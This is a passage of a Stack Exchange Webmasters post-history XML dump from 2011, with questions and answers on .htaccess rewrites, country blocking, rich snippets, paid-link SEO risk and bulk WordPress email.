get weird numbers like 293.33333333px." />
  <row Id="21671" PostHistoryTypeId="17" PostId="9758" RevisionGUID="dd930687-b209-443b-a2ac-75ec5ad9957a" CreationDate="2011-02-27T10:34:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5132095/htaccess-rules-to-rewrite-urls-to-front-end-page/5132193#5132193" Text="" />
  <row Id="21672" PostHistoryTypeId="17" PostId="9759" RevisionGUID="95a40109-a187-4637-bbce-8e528380aca4" CreationDate="2011-02-27T10:34:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5132095/htaccess-rules-to-rewrite-urls-to-front-end-page/5132213#5132213" Text="" />
  <row Id="21673" PostHistoryTypeId="2" PostId="9758" RevisionGUID="4988e852-db78-467c-841c-274e94ccc49c" CreationDate="2011-02-27T08:21:50.517" UserDisplayName="J.Romero" Text="DirectoryIndex sound more like what you want. (If mod_dir is installed)&#xD;&#xA;&#xD;&#xA;    DirectoryIndex myapp.php&#xD;&#xA;&#xD;&#xA;Documentation: http://httpd.apache.org/docs/2.0/mod/mod_dir.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or if you still want mod_rewrite, this should work:&#xD;&#xA;&#xD;&#xA;    RewriteRule app(/*)$ http://example.com/app/myapp.php [L]" />
  <row Id="21674" PostHistoryTypeId="2" PostId="9759" RevisionGUID="29d3a556-f268-4007-9c60-4f28d5d14dc2" CreationDate="2011-02-27T08:33:36.973" UserId="5525" Text="Try &#xD;&#xA;&#xD;&#xA;    RewriteRule ^app/?$ app/myapp.php [L]" />
  <row Id="21675" PostHistoryTypeId="2" PostId="9757" RevisionGUID="3f7b2e17-65cf-464f-934b-213238d75705" CreationDate="2011-02-27T07:54:17.193" UserDisplayName="Dizzley" Text="I am adding a new application to my site at example.com/app. I want views at that URL to always open myapp.php.&#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;    example.com/app -&gt; example.com/app/myapp.php and&#xD;&#xA;    example.com/app/ -&gt; example.com/app/myapp.php&#xD;&#xA;&#xD;&#xA;**What's the correct form of rewrite rules in the .htaccess file?**&#xD;&#xA;&#xD;&#xA;I've got:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /app/&#xD;&#xA;    RewriteRule ^myapp\.php$ - [L]&#xD;&#xA;    RewriteRule ^myapp.php$ - [L]&#xD;&#xA;    RewriteRule . - [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;...based on what the Wordpress front-end does. But all I see at example.com/app is a directory of files. :(&#xD;&#xA;&#xD;&#xA;(I put those rewrites at the top of my .htaccess file).&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;What actually worked:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^/app(/.*)?$ [NC]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule . /app/myapp.php [L]&#xD;&#xA;&#xD;&#xA;This is good because:&#xD;&#xA;&#xD;&#xA; 1. Explicit or implicit calls to app/myapp.php work.&#xD;&#xA; 2. example.com/app redirects to app/myapp.php&#xD;&#xA; 3. example.com/app/ redirects to app/myapp.php&#xD;&#xA; 4. example.com/app/subfunction redirects to app/myapp.php&#xD;&#xA; 5. All other calls to example.com/otherstuff are untouched.&#xD;&#xA;&#xD;&#xA;Item 4 is Wordpress-like [Front Controller pattern][1] behaviour.&#xD;&#xA;&#xD;&#xA;I think that rule &#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^/app.*$ [NC]&#xD;&#xA;&#xD;&#xA;needs refining as it allows /app-oh-my-goodness etc. through too.&#xD;&#xA;Thanks for the answers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Front_Controller_pattern" />
  <row Id="21676" PostHistoryTypeId="1" PostId="9757" RevisionGUID="3f7b2e17-65cf-464f-934b-213238d75705" CreationDate="2011-02-27T07:54:17.193" UserDisplayName="Dizzley" Text=".htaccess rules to rewrite URLs to front end page?" />
  <row Id="21677" PostHistoryTypeId="3" PostId="9757" RevisionGUID="3f7b2e17-65cf-464f-934b-213238d75705" CreationDate="2011-02-27T07:54:17.193" UserDisplayName="Dizzley" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="21678" PostHistoryTypeId="17" PostId="9757" RevisionGUID="162c6e00-1963-4ffa-9565-bed51e83b41d" CreationDate="2011-02-27T10:34:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5132095/htaccess-rules-to-rewrite-urls-to-front-end-page" Text="" />
  <row Id="21679" PostHistoryTypeId="2" PostId="9760" RevisionGUID="fd832945-e381-40a2-8ff8-a279f9e0481e" CreationDate="2011-02-27T11:09:48.690" UserId="576" Text="By sub-pages, I guess you mean the links shown below some sites in Google search results which are called Sitelinks.&#xD;&#xA;&#xD;&#xA;Sitelinks are **completely automated** &amp; based on Google's algorithms. To get Sitelinks for a site it helps to have a well-structured website.&#xD;&#xA;&#xD;&#xA;[As per Googler Maile Ohye][1], &#xD;&#xA;&#xD;&#xA;&gt; Sitelinks are often produced when&#xD;&#xA;&gt; there's a high probability that the&#xD;&#xA;&gt; site is the top match for the user's&#xD;&#xA;&gt; query. In other words, to have&#xD;&#xA;&gt; sitelinks ... you'll probably need to&#xD;&#xA;&gt; be the definitive first result&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://groups.google.com/group/Google_Webmaster_Help-Tools/browse_thread/thread/63b915eed3386a60?pli=1" />
  <row Id="21680" PostHistoryTypeId="2" PostId="9761" RevisionGUID="a6588d6c-ad22-4311-8ade-7260eb178a11" CreationDate="2011-02-27T11:22:09.863" UserId="576" Text="[ClickTale][1] provides mouse move, click, scroll heatmaps &amp; analytics. Free plan provides limited functionality.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.clicktale.com/pricing/plans_b" />
  <row Id="21681" PostHistoryTypeId="25" PostId="9757" RevisionGUID="f7365ec5-83df-427c-9e5f-76291d41cc9c" CreationDate="2011-02-27T11:23:00.440" Comment="http://twitter.com/#!/StackWebmasters/status/41820590268628992" />
  <row Id="21682" PostHistoryTypeId="2" PostId="9762" RevisionGUID="c0a22709-908e-4e18-8c10-0ee87c65048c" CreationDate="2011-02-27T13:13:08.150" UserId="5672" Text="On Google, if you search for &quot;chana dal recipe,&quot; in the middle of the search results page  you'll see one search result with an image of the meal, taken from the underlying web page.  It's the only one.&#xD;&#xA;&#xD;&#xA;Did:&#xD;&#xA;&#xD;&#xA;A) Google someone magically isolate the one image on the web page which summarized the recipe,&#xD;&#xA;&#xD;&#xA;--or--&#xD;&#xA;&#xD;&#xA;B) did the webmaster/page author somehow designate and promote that particular image so that Google would inline it in the search results?" />
  <row Id="21683" PostHistoryTypeId="1" PostId="9762" RevisionGUID="c0a22709-908e-4e18-8c10-0ee87c65048c" CreationDate="2011-02-27T13:13:08.150" UserId="5672" Text="How does Google show a web page's recipe photo inline with the search results? How'd they do that?" />
  <row Id="21684" PostHistoryTypeId="3" PostId="9762" RevisionGUID="c0a22709-908e-4e18-8c10-0ee87c65048c" CreationDate="2011-02-27T13:13:08.150" UserId="5672" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;google-search&gt;" />
  <row Id="21685" PostHistoryTypeId="17" PostId="9764" RevisionGUID="f1b37bc0-1a96-4b4e-8134-a4a7167a1596" CreationDate="2011-02-27T14:12:34.570" UserId="-1" Comment="from http://stackoverflow.com/questions/5131756/block-users-by-country-in-htaccess/5131780#5131780" Text="" />
  <row Id="21686" PostHistoryTypeId="2" PostId="9764" RevisionGUID="3192acc4-8e26-492f-8006-92a8ea1c232c" CreationDate="2011-02-27T06:21:00.877" UserId="5525" Text="Use [GeoMax lite][1] to identify the country and block them. &#xD;&#xA;[mod_geoip apache module][2] can help you in what you want to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.maxmind.com/app/geoip_country&#xD;&#xA;  [2]: http://www.maxmind.com/app/mod_geoip" />
  <row Id="21687" PostHistoryTypeId="2" PostId="9763" RevisionGUID="3511b185-b390-4420-b748-c875fbf380d3" CreationDate="2011-02-27T06:12:43.803" UserDisplayName="santa" Text="Is there a way to block users from a particular region. Currently I have compiled a list of over 100 IP addresses that I block in my .htaccess file. Unfortunately as the list grows I see a great number of offenders come for the same areas, like China. Can I block that entire country? Or region?&#xD;&#xA; &#xD;&#xA;" />
  <row Id="21688" PostHistoryTypeId="1" PostId="9763" RevisionGUID="3511b185-b390-4420-b748-c875fbf380d3" CreationDate="2011-02-27T06:12:43.803" UserDisplayName="santa" Text="block users by country in .htaccess" />
  <row Id="21689" PostHistoryTypeId="3" PostId="9763" RevisionGUID="3511b185-b390-4420-b748-c875fbf380d3" CreationDate="2011-02-27T06:12:43.803" UserDisplayName="santa" Text="&lt;security&gt;&lt;htaccess&gt;" />
  <row Id="21690" PostHistoryTypeId="17" PostId="9763" RevisionGUID="22ae0959-56ae-4c4d-93d1-82461978711d" CreationDate="2011-02-27T14:12:34.570" UserId="-1" Comment="from http://stackoverflow.com/questions/5131756/block-users-by-country-in-htaccess" Text="" />
  <row Id="21691" PostHistoryTypeId="2" PostId="9765" RevisionGUID="fa7d6c89-f026-4fd1-bc21-2f2b1b6864a7" CreationDate="2011-02-27T14:17:30.270" UserId="1089" Text="Firstly - making sure we are talking about the same article: www.indobase.com/recipes/.../chana-dal.php &#xD;&#xA;&#xD;&#xA;Looking at the 4 results above it, only one actually uses an image in the article, and on examination of the img tag the image is poorly named and has no alt text. &#xD;&#xA;&#xD;&#xA;Going back to the article which has the image in google search results - here is the img tag&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;http://www.indobase.com/recipes/recipe_image/chana-dal.jpg&quot; class=&quot;photo&quot; alt=&quot;Chana Dal Recipe&quot; style=&quot;border:1px solid #800000;margin-right:100px; float:right;margin-top:30px;&quot;&gt;&#xD;&#xA;&#xD;&#xA;The image name itself and the alt tag relate very closely or directly to the article itself. &#xD;&#xA;&#xD;&#xA;I think this is why google included the image. I don't think the article or website creator had anything to do with it other than using a well named, correctly tagged image." />
  <row Id="21692" PostHistoryTypeId="25" PostId="9762" RevisionGUID="c5a580af-9ec0-4156-9ed4-9c809cdb771c" CreationDate="2011-02-27T14:23:00.657" Comment="http://twitter.com/#!/StackWebmasters/status/41865889628422145" />
  <row Id="21695" PostHistoryTypeId="17" PostId="9767" RevisionGUID="79c464a0-5a07-44c6-a697-5f4b5ccf9487" CreationDate="2011-02-27T16:44:29.153" UserId="-1" Comment="from http://stackoverflow.com/questions/5134072/using-youtube-as-a-cdn/5134114#5134114" Text="" />
  <row Id="21696" PostHistoryTypeId="2" PostId="9767" RevisionGUID="7bd637cb-698c-46e6-b91e-7a458c953ec3" CreationDate="2011-02-27T15:45:46.903" UserDisplayName="Oleg Pavliv" Text="There are projects like that. For example [Medioh studio][1]. I'm working on such projects too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://studio.medioh.com/" />
  <row Id="21697" PostHistoryTypeId="2" PostId="9766" RevisionGUID="28e581b3-6321-4d38-ac0a-71b03c227c7c" CreationDate="2011-02-27T15:34:54.327" UserDisplayName="Syed" Text="Why isn't YouTube used as a CDN for video and audio files? Through YouTube's api and developer tools, it would be possible to post all media files to YouTube from a CMS and then make a call to them when needed. This seems like it's within YouTube's TOS, it's a cost-effective way to store, retrieve, and distribute media files, and it could also make for easy monetization. &#xD;&#xA;&#xD;&#xA;I ask because I'm working on a new project for a public radio station. I can't figure out the real downside to this sort of an implementation. " />
  <row Id="21698" PostHistoryTypeId="1" PostId="9766" RevisionGUID="28e581b3-6321-4d38-ac0a-71b03c227c7c" CreationDate="2011-02-27T15:34:54.327" UserDisplayName="Syed" Text="Using YouTube as a CDN" />
  <row Id="21699" PostHistoryTypeId="3" PostId="9766" RevisionGUID="28e581b3-6321-4d38-ac0a-71b03c227c7c" CreationDate="2011-02-27T15:34:54.327" UserDisplayName="Syed" Text="&lt;cms&gt;&lt;youtube&gt;&lt;cdn&gt;" />
  <row Id="21700" PostHistoryTypeId="17" PostId="9766" RevisionGUID="aafd0046-fe86-4ed7-8ea1-8d5461a9955a" CreationDate="2011-02-27T16:44:29.153" UserId="-1" Comment="from http://stackoverflow.com/questions/5134072/using-youtube-as-a-cdn" Text="" />
  <row Id="21701" PostHistoryTypeId="2" PostId="9768" RevisionGUID="aab88584-339f-4820-83bf-4455b42c0b44" CreationDate="2011-02-27T16:44:45.757" UserId="1253" Text="It's called [microformats][1] or, as Google calls them, rich snippets. There's one [specifically for recipes][2]. Google has even just introduced [recipe view][3] which expands upon this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/better-recipes-on-web-introducing.html&#xD;&#xA;  [3]: http://googleblog.blogspot.com/2011/02/slice-and-dice-your-recipe-search.html" />
  <row Id="21702" PostHistoryTypeId="2" PostId="9769" RevisionGUID="72bd51a2-2056-48cc-b139-2c62fc627d41" CreationDate="2011-02-27T16:52:25.030" UserId="1253" Text=" - Check to see if your robots.txt file is accidentally blocking access to those files. [Google Webmaster tools][1] can help you with this.&#xD;&#xA; - Submit an XML sitemap ([although it may not necessarily help][2])&#xD;&#xA; - Submit some of your more important sub pages directly to [Google][3] and [Bing][4]&#xD;&#xA; - Get incoming links from other sites directly to your inner pages&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/sitemaps/siteoverview?hl=en&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox&#xD;&#xA;  [3]: http://www.google.com/addurl.html&#xD;&#xA;  [4]: http://www.bing.com/webmaster/SubmitSitePage.aspx" />
  <row Id="21703" PostHistoryTypeId="5" PostId="9768" RevisionGUID="d0223050-2c54-4952-aefa-00a3e585c820" CreationDate="2011-02-27T17:01:04.977" UserId="1253" Comment="added 95 characters in body" Text="It's called [microformats][1] or, as Google calls them, [rich snippets][2]. There's one [specifically for recipes][3]. Google has even just introduced [recipe view][4] which expands upon this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/05/introducing-rich-snippets.html&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2010/04/better-recipes-on-web-introducing.html&#xD;&#xA;  [4]: http://googleblog.blogspot.com/2011/02/slice-and-dice-your-recipe-search.html" />
  <row Id="21704" PostHistoryTypeId="25" PostId="9763" RevisionGUID="ae05fb22-56f2-4e16-a243-0e8c277492ab" CreationDate="2011-02-27T17:23:03.283" Comment="http://twitter.com/#!/StackWebmasters/status/41911199000047616" />
  <row Id="21705" PostHistoryTypeId="2" PostId="9770" RevisionGUID="df77e370-7597-4535-a585-41e876841a11" CreationDate="2011-02-27T18:58:02.223" UserId="4714" Text="I know how to rewrite urls to redirect to a page.&#xD;&#xA;&#xD;&#xA;When the &quot;/&quot; is not at the end of www.DomainName.com/user/myUserName the redirect works:&#xD;&#xA;&#xD;&#xA;    RewriteRule /$ /user/index.php&#xD;&#xA;&#xD;&#xA;When I write RewriteBase / the above rule does not work, but a 404 error.&#xD;&#xA;&#xD;&#xA;How to add a `&quot;/&quot;` at the end of w`ww.DomainName.com/user/myUserName/` and still redirect to /user/index.php.&#xD;&#xA;&#xD;&#xA;This can be written into the .htaccess or httpd.conf&#xD;&#xA;&#xD;&#xA;Thanks Jean" />
  <row Id="21706" PostHistoryTypeId="1" PostId="9770" RevisionGUID="df77e370-7597-4535-a585-41e876841a11" CreationDate="2011-02-27T18:58:02.223" UserId="4714" Text="rewrite on urls to add “/”" />
  <row Id="21707" PostHistoryTypeId="3" PostId="9770" RevisionGUID="df77e370-7597-4535-a585-41e876841a11" CreationDate="2011-02-27T18:58:02.223" UserId="4714" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;rewrite&gt;" />
  <row Id="21708" PostHistoryTypeId="17" PostId="9770" RevisionGUID="d974dcbf-d4aa-4ae5-9f08-4524ecc18067" CreationDate="2011-02-27T19:04:16.883" UserId="-1" Comment="from http://serverfault.com/questions/240905/rewrite-on-urls-to-add" Text="" />
  <row Id="21709" PostHistoryTypeId="6" PostId="9770" RevisionGUID="e59e5ea3-ee4e-4377-9c4d-30b2795af133" CreationDate="2011-02-27T19:11:17.267" UserId="1253" Comment="removed redundant &quot;rewrite&quot; tag" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="21710" PostHistoryTypeId="2" PostId="9771" RevisionGUID="46614623-3509-45be-9bd6-9d6630733d0f" CreationDate="2011-02-27T19:59:52.733" UserId="5687" Text="I got it to work. It seems I had a couple of problems.&#xD;&#xA;&#xD;&#xA; 1. I needed a forward slash on the&#xD;&#xA;    pattern in RewriteRule; i.e.&#xD;&#xA;    `^/modules.php` instead of&#xD;&#xA;    `^modules.php`. &#xD;&#xA; 1. I needed to prevent&#xD;&#xA;    the query string from being appended&#xD;&#xA;    to the new URL. This could cause&#xD;&#xA;    recursion in some cases, or other strange things (400 bad request). A trailing ? did the trick.&#xD;&#xA;&#xD;&#xA;I ended up with this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{QUERY_STRING} sid=([0-9]+)&#xD;&#xA;    RewriteRule ^/modules\.php /news/story/%1/? [R=301,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21711" PostHistoryTypeId="6" PostId="8418" RevisionGUID="c6dc8d50-1d5b-4df1-a2cb-5cbb48e918ef" CreationDate="2011-02-27T20:02:13.667" UserId="1253" Comment="Removed &quot;wordpress&quot; tag" Text="&lt;seo&gt;&lt;video&gt;" />
  <row Id="21712" PostHistoryTypeId="2" PostId="9772" RevisionGUID="d6881166-f382-4ee6-9c12-a195216d0b0e" CreationDate="2011-02-27T20:08:53.933" UserId="2972" Text="Your english seems a bit confusing...&#xD;&#xA;&#xD;&#xA;But from what I gather, the regular expression in your pattern isn't correct.&#xD;&#xA;&#xD;&#xA;I belive you're trying to match **everything** to `/user/index.php` so try it this way:&#xD;&#xA;&#xD;&#xA;    RewriteRule /(.*)$ /user/index.php&#xD;&#xA;" />
  <row Id="21713" PostHistoryTypeId="25" PostId="9770" RevisionGUID="56e0347c-1ba9-4758-b008-1ee9ddba4b0d" CreationDate="2011-02-27T20:23:03.547" Comment="http://twitter.com/#!/StackWebmasters/status/41956498489884672" />
  <row Id="21714" PostHistoryTypeId="2" PostId="9773" RevisionGUID="50d4cfe3-fdfc-4ce3-87b8-318d5295d217" CreationDate="2011-02-27T20:51:53.863" UserId="686" Text="I think you've already hit on the meaning of the `fr` tag:  Might it give a &quot;from&quot; location?&#xD;&#xA;&#xD;&#xA;The `yfp` in the first one could mean &quot;Yahoo! front page.&quot;&#xD;&#xA;&#xD;&#xA;I did it from the search bar in the upper right of my Firefox browser and the `fr` tag came out `moz35`.&#xD;&#xA;&#xD;&#xA;What other places did you do your search?&#xD;&#xA;&#xD;&#xA;So, Yahoo! may be giving different search results based on where it's searched from.  Why?  Have no idea!" />
  <row Id="21715" PostHistoryTypeId="2" PostId="9774" RevisionGUID="d6e3d0f5-7c6c-4053-82d8-615b3590df21" CreationDate="2011-02-27T21:27:30.797" UserId="5464" Text="The simplest solution i could think of would be to set-up a google form and people to post answers to questions these then get posted back to google spreadsheets, its really basic and would not scale, but would allow you to start to collect data. &#xD;&#xA;&#xD;&#xA;I would also try Googling for something like &quot;open source job board&quot; that should throw up a few examples you could set-up on a sub domain - take a look at [Jobberbase][1] as a good example. &#xD;&#xA;&#xD;&#xA;Otherwise I would say you are looking to spend some money and then depending on what you are after its either a careers site or some sort of applicant tracking system (ATS) and these range in price and functionality (again possible search terms).&#xD;&#xA;&#xD;&#xA;I work in the online recruitment sector so if the above is a little off target post an update and I will try to advise further. &#xD;&#xA;&#xD;&#xA;As @Lese has said it really does depend on size and volume to the type of solution you need as you hinted you are quiet small with a low volume you should think simple to begin with. &#xD;&#xA;&#xD;&#xA;  [1]: http:// www.jobberbase.com" />
  <row Id="21716" PostHistoryTypeId="2" PostId="9775" RevisionGUID="e8b082fe-e485-4ed5-8fec-290d4f1c790a" CreationDate="2011-02-27T22:44:53.607" UserId="5664" Text="Is it valid markup and is it valid to the html/http spec?  If I wanted to have &#xD;&#xA;&#xD;&#xA;    &lt;form&gt;&#xD;&#xA;    &lt;input name=&quot;email&quot; /&gt;&#xD;&#xA;    &lt;input name=&quot;email&quot; /&gt;&#xD;&#xA;    &lt;input name=&quot;email&quot; /&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;is that valid?&#xD;&#xA;" />
  <row Id="21717" PostHistoryTypeId="1" PostId="9775" RevisionGUID="e8b082fe-e485-4ed5-8fec-290d4f1c790a" CreationDate="2011-02-27T22:44:53.607" UserId="5664" Text="Is it valid to have multiple form input elements with the same name?" />
  <row Id="21718" PostHistoryTypeId="3" PostId="9775" RevisionGUID="e8b082fe-e485-4ed5-8fec-290d4f1c790a" CreationDate="2011-02-27T22:44:53.607" UserId="5664" Text="&lt;html&gt;" />
  <row Id="21719" PostHistoryTypeId="2" PostId="9776" RevisionGUID="4584033f-5dda-4511-bb96-594981647121" CreationDate="2011-02-27T22:55:54.510" UserId="1253" Text="As [stated on SO][1]:&#xD;&#xA;&#xD;&#xA;&gt; The browsers are OK with it. However,&#xD;&#xA;&gt; how the application library parses it&#xD;&#xA;&gt; may vary.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Programs are supposed to group&#xD;&#xA;&gt; identically named items together.&#xD;&#xA;&gt; While the HTML specification doesn't&#xD;&#xA;&gt; explicitly say this, it is implicitly&#xD;&#xA;&gt; stated in the documentation on&#xD;&#xA;&gt; checkboxes:&#xD;&#xA;&gt; &#xD;&#xA;&gt; *&quot;Several checkboxes in a form may share&#xD;&#xA;&gt; the same control name. Thus, for&#xD;&#xA;&gt; example, checkboxes allow users to&#xD;&#xA;&gt; select several values for the same&#xD;&#xA;&gt; property.&quot;*&#xD;&#xA;&#xD;&#xA;On a side note, in PHP you can have form fields with the same name if you use PHP's arry syntax for the  field name:&#xD;&#xA;&#xD;&#xA;    &lt;form&gt;&#xD;&#xA;    &lt;input name=&quot;email[]&quot; /&gt;&#xD;&#xA;    &lt;input name=&quot;email[]&quot; /&gt;&#xD;&#xA;    &lt;input name=&quot;email[]&quot; /&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;This will cause the browser to send over the form fields in a syntax that PHP will use to populate an array for these fields: `$_REQUEST['email']`. If you use PHP this is the preferred way to handle it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/452066/html-form-with-multiple-hidden-control-elements-of-the-same-name" />
  <row Id="21720" PostHistoryTypeId="25" PostId="9775" RevisionGUID="1d45fa8e-6c44-4c45-8554-34ffdb3c5194" CreationDate="2011-02-27T23:23:03.653" Comment="http://twitter.com/#!/StackWebmasters/status/42001797040177152" />
  <row Id="21721" PostHistoryTypeId="17" PostId="9778" RevisionGUID="e9ae3da8-7238-438c-b7d1-13ea369b9071" CreationDate="2011-02-28T01:56:03.697" UserId="-1" Comment="from http://stackoverflow.com/questions/5137086/risk-for-hosting-seo-links/5137108#5137108" Text="" />
  <row Id="21722" PostHistoryTypeId="17" PostId="9779" RevisionGUID="4f0bb4d4-73aa-408a-9a72-000c45bbebdf" CreationDate="2011-02-28T01:56:03.697" UserId="-1" Comment="from http://stackoverflow.com/questions/5137086/risk-for-hosting-seo-links/5137333#5137333" Text="" />
  <row Id="21723" PostHistoryTypeId="2" PostId="9778" RevisionGUID="c7f62f39-2074-453d-a170-1034e564d404" CreationDate="2011-02-28T00:28:19.070" UserDisplayName="Hamish" Text="You shouldn't need to worry about it. First of all it's *very* common to sell advertising space on your site, and if every online advertiser was penalized by Google for publishing &quot;unrelated&quot; (by some arbitrary measure) then the top results of most searches would be completely useless. Second of all, it's really up to Google to decide if the links are valuable or not, using their own algorithms. Finally, tyring to second-guess Google is usually a futile exercise. As long as you're not trying to actively game the system you should be fine.&#xD;&#xA;&#xD;&#xA;By the way, if you're really worried, and it is allowed under your terms with the potential advertiser, adding `rel=&quot;nofollow&quot;` tags should remove any risk at all, because you're not 'endorsing' the link." />
  <row Id="21724" PostHistoryTypeId="2" PostId="9779" RevisionGUID="decabf48-6391-4b99-b898-67e7432622db" CreationDate="2011-02-28T01:16:32.567" UserId="4787" Text="I strongly disagree with Hamish. You do need to worry about this.&#xD;&#xA;&#xD;&#xA;If Google finds these links, yes, they will punish you if you don't use rel=&quot;nofollow&quot;. Placing paid links on your page (whether or not they are relevant) violates the Google webmaster guidelines. They are receiving a lot of criticism for a decline in their search quality so they are cracking down on anything that distorts the link graph (from their perspective).&#xD;&#xA;&#xD;&#xA;Those companies offering to pay you for the links will not be interested in links that are nofollowed because they have zero SEO value.&#xD;&#xA;&#xD;&#xA;Search for term &quot;paid links&quot; and you will find any number of articles on the topic. For example: http://searchengineland.com/googles-action-against-link-schemes-continues-overstock-com-and-forbes-com-latest-casualities-conductor-exits-business-65926. Also read stuff written by Matt Cutts of Google.&#xD;&#xA;&#xD;&#xA;Lots of people get away with paid links, but if you do get punished it will hit you hard, and it isn't easy to get reinstated in the index." />
  <row Id="21725" PostHistoryTypeId="2" PostId="9777" RevisionGUID="6bb7ff28-011c-4474-a95a-63e216ff7082" CreationDate="2011-02-28T00:22:08.463" UserDisplayName="mconnors" Text="A few companies are will to pay us for links on our homepage. I am assuming these are legitimate sites although they are unrelated to our sites content. Would google penalize our site for having these links? We definitely need the revenue and we view this as selling advertising space- but I don't want to kill our good ranking. Does anyone have any insight, is it possible to ask google directly?" />
  <row Id="21726" PostHistoryTypeId="1" PostId="9777" RevisionGUID="6bb7ff28-011c-4474-a95a-63e216ff7082" CreationDate="2011-02-28T00:22:08.463" UserDisplayName="mconnors" Text="Risk for hosting SEO links." />
  <row Id="21727" PostHistoryTypeId="3" PostId="9777" RevisionGUID="6bb7ff28-011c-4474-a95a-63e216ff7082" CreationDate="2011-02-28T00:22:08.463" UserDisplayName="mconnors" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="21728" PostHistoryTypeId="17" PostId="9777" RevisionGUID="bb47fb64-ab59-428b-8ca4-91d8814375c8" CreationDate="2011-02-28T01:56:03.697" UserId="-1" Comment="from http://stackoverflow.com/questions/5137086/risk-for-hosting-seo-links" Text="" />
  <row Id="21729" PostHistoryTypeId="2" PostId="9780" RevisionGUID="5ad22103-5491-4cf7-ad48-f01d7925dc29" CreationDate="2011-02-28T02:17:43.297" UserId="1787" Text="Try the open source [MP3Wrap][1]. This works on either Linux or Windows platforms.&#xD;&#xA;&#xD;&#xA;Here's the syntax on Windows for a single file:&#xD;&#xA;&#xD;&#xA;    mp3wrap updated01.mp3 intro.mp3 podcast01.mp3 outro.mp3&#xD;&#xA;&#xD;&#xA;The following *should* work for all files starting with `podcast` in the current directory when entered from the command line:&#xD;&#xA;&#xD;&#xA;    for /f %a IN ('dir /b podcast*.mp3') do mp3wrap updated%a intro.mp3 %a outro.mp3&#xD;&#xA;&#xD;&#xA;  [1]: http://mp3wrap.sourceforge.net/&#xD;&#xA;" />
  <row Id="21730" PostHistoryTypeId="25" PostId="9754" RevisionGUID="260d217d-7eb9-486a-82a9-e02d39299025" CreationDate="2011-02-28T02:23:03.540" Comment="http://twitter.com/#!/StackWebmasters/status/42047095980568576" />
  <row Id="21731" PostHistoryTypeId="2" PostId="9781" RevisionGUID="7df0d291-d558-4b6c-828d-4479da21f1ad" CreationDate="2011-02-28T03:11:51.827" UserId="4867" Text="I have tried using a number of plugins to email my 40,000 registered users on my WordPress-powered site, to no avail. I have tried Subscribe2 (seems to send some, but I have no idea how many) as well as a few Newsletter plugins. I either run out of memory trying to add 40K entries to the mail queue, or I error out trying to add 40K emails in the BCC of the email being sent.&#xD;&#xA;&#xD;&#xA;Is there anyone out there with a large subscriber-base that has found a successful solution? If so, please share." />
  <row Id="21732" PostHistoryTypeId="1" PostId="9781" RevisionGUID="7df0d291-d558-4b6c-828d-4479da21f1ad" CreationDate="2011-02-28T03:11:51.827" UserId="4867" Text="Email a very large list of WordPress subscribers = fail (every single time)" />
  <row Id="21733" PostHistoryTypeId="3" PostId="9781" RevisionGUID="7df0d291-d558-4b6c-828d-4479da21f1ad" CreationDate="2011-02-28T03:11:51.827" UserId="4867" Text="&lt;wordpress&gt;&lt;email&gt;&lt;bulk-email&gt;" />
  <row Id="21734" PostHistoryTypeId="2" PostId="9782" RevisionGUID="883b327d-af08-4500-bafa-e6c3cb379cc0" CreationDate="2011-02-28T03:14:03.587" UserId="1253" Text="With a mailing list that size you may want to consider using services like [Constant Contact][1] to handle your mailings. Sure, it's not free, but they can easily handle that kind of volume plus you get the benefit of all of the tools they offer including managing that list. They also handle spam law compliance issues and you don't have to worry about your server being blacklisted for sending spam.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.constantcontact.com/" />
